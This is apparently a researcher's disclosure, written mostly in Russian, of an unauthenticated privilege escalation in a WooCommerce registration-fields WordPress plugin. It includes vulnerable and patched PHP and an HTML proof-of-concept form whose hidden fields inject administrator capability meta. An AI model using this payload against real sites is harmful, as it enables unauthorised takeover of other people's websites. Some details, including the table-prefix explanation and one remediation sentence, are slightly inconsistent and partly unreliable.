
CVE-2026-13152: Custom Fields Account Registration For WooCommerce Unauthenticated Privilege Escalation PoC & Advisory by Huynh Kien Minh (MinhHK).
CVE-2026-13152 — это уязвимость неаутентифицированного повышения привилегий, затрагивающая плагин WordPress Custom Fields Account Registration For WooCommerce до версии 1.4, обнаруженная и проанализированная исследователем безопасности Huynh Kien Minh (MinhHK). Ошибка возникает из-за того, что плагин позволяет пользовательским полям регистрации записывать данные напрямую в чувствительные метаданные пользовательских возможностей без санитизации защищённых ключей базы данных и без проверки ролей пользователей. На сайтах, использующих нестандартные префиксы таблиц базы данных или пользовательские сопоставления ключей user meta, неаутентифицированный пользователь, регистрирующийся через форму регистрации WooCommerce, может внедрить привилегии администратора (например, wp_user_level или wp_capabilities) в таблицу wp_usermeta. Это предоставляет вновь созданной учётной записи полный доступ администратора, позволяя полностью скомпрометировать удалённый сайт. Исследователь безопасности Huynh Kien Minh сообщил об уязвимости в WPScan, и производитель устранил проблему в версии 1.4, внедрив проверку имён ключей и ограничив назначение метаданных пользовательских возможностей.
Плагин Custom Fields Account Registration For WooCommerce позволяет администраторам сайта определять пользовательские поля ввода в форме регистрации пользователей WooCommerce (конечная точка регистрации my-account). Когда новый пользователь отправляет форму регистрации, плагин перебирает отправленные поля формы и вызывает update_user_meta($user_id, $meta_key, $meta_value) для сохранения данных пользователя.
Основной недостаток кроется в логике обработки входных данных в обработчике регистрации. В плагине отсутствует строгий чёрный или белый список защищённых ключей метаданных пользователя WordPress (wp_capabilities, wp_user_level, session_tokens, wp_user_roles).
// Vulnerable registration handler logic (simplified demonstration)
add_action('woocommerce_created_customer', 'cfar_save_custom_registration_fields', 10, 3);
function cfar_save_custom_registration_fields($customer_id, $new_customer_data, $password_generated) {
if (isset($_POST['cfar_custom_fields']) && is_array($_POST['cfar_custom_fields'])) {
foreach ($_POST['cfar_custom_fields'] as $meta_key => $meta_value) {
// VULNERABILITY: No check against protected meta keys like wp_capabilities or wp_user_level
update_user_meta($customer_id, sanitize_text_field($meta_key), sanitize_text_field($meta_value));
}
}
}
На сайтах WordPress, использующих нестандартные префиксы базы данных или пользовательские конфигурации ключей метаданных, неаутентифицированный злоумышленник может передать пользовательское поле ввода, соответствующее ключу возможностей администратора (wp_user_level = 10 или сериализованный массив a:1:{s:13:"administrator";b:1;}). При создании учётной записи update_user_meta() записывает это значение напрямую в wp_usermeta, повышая вновь зарегистрированную учётную запись до полного статуса администратора.
[!CAUTION] Данное доказательство концепции предоставлено строго в образовательных целях, для защитного аудита и проверки уязвимости. Только авторизованное тестирование.
<!-- CVE-2026-13152 PoC: Unauthenticated Privilege Escalation Payload -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>PoC - CVE-2026-13152 Privilege Escalation</title>
</head>
<body>
<h2>CVE-2026-13152 Exploit Payload</h2>
<form action="https://target-site.com/my-account/" method="POST">
<input type="email" name="email" value="[email protected]" required>
<input type="password" name="password" value="P@ssword123!" required>
<!-- Malicious Meta Key Injection targeting User Level -->
<input type="hidden" name="cfar_custom_fields[wp_user_level]" value="10">
<input type="hidden" name="cfar_custom_fields[wp_capabilities][administrator]" value="1">
<input type="submit" name="register" value="Register as Administrator">
</form>
</body>
</html>
Custom Fields Account Registration For WooCommerce до версии 1.4 или выше, в которой применяется строгая проверка ключей метаданных.// Secure implementation in Version 1.4
$protected_keys = array('wp_capabilities', 'wp_user_level', 'user_level', 'session_tokens');
if (!in_array($meta_key, $protected_keys, true) && strpos($meta_key, 'wp_') !== 0) {
update_user_meta($customer_id, $meta_key, $meta_value);
}
{
"@context": "https://schema.org",
"@graph": [
{
"@type": "TechArticle",
"@id": "https://github.com/MinhHK68/CVE-2026-13152#article",
"headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13152 — Custom Fields Account Registration For WooCommerce Privilege Escalation",
"name": "CVE-2026-13152 Technical Analysis",
"author": {
"@type": "Person",
"@id": "https://minhhk.web.app/#person",
"name": "Huynh Kien Minh",
"alternateName": ["MinhHK", "Huỳnh Kiến Minh"],
"jobTitle": "Information Security Researcher",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-07-06",
"dateModified": "2026-08-01",
"description": "Comprehensive technical analysis and PoC for CVE-2026-13152, an unauthenticated privilege escalation vulnerability in Custom Fields Account Registration For WooCommerce < 1.4 discovered by Huynh Kien Minh."
},
{
"@type": "SpecialAnnouncement",
"@id": "https://github.com/MinhHK68/CVE-2026-13152#advisory",
"name": "CVE-2026-13152 Security Advisory",
"category": "https://schema.org/SecurityAdvisory",
"text": "Unauthenticated Privilege Escalation in Custom Fields Account Registration For WooCommerce < 1.4 allows remote attackers to gain administrator rights."
}
]
}
| Атрибут | Описание |
|---|
| CVE ID | CVE-2026-13152 |
| Название плагина | Custom Fields Account Registration For WooCommerce |
| Слаг плагина | custom-fields-account-registration-for-woocommerce |
| Затронутые версии | < 1.4 |
| Исправленная версия | 1.4 |
| Тип уязвимости | Неаутентифицированное повышение привилегий (CWE-269 / OWASP A2) |
| Оценка CVSS v3.1 | 8.1 (Высокая) (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Первооткрыватель | Huynh Kien Minh (MinhHK) |
| Идентификатор уведомления WPScan | 36aaba38-3143-4e80-8386-748632ff6704 |